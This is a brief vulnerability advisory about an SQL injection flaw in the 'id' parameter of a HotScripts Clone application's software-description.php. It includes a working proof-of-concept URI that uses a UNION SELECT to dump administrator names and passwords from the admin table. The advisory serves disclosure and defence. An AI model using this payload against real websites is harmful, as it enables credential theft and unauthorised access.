• info
• discussion
• exploit
• solution
• references

HotScripts Clone SOFTWARE-DESCRIPTION.PHP SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

hyyp://www.example.com/software-description.php?id=-1/**/UNION/**/ALL/**/SELECT/**/concat(admin_name,char(58),pwd)/**/FROM/**/sbwmd_admin/*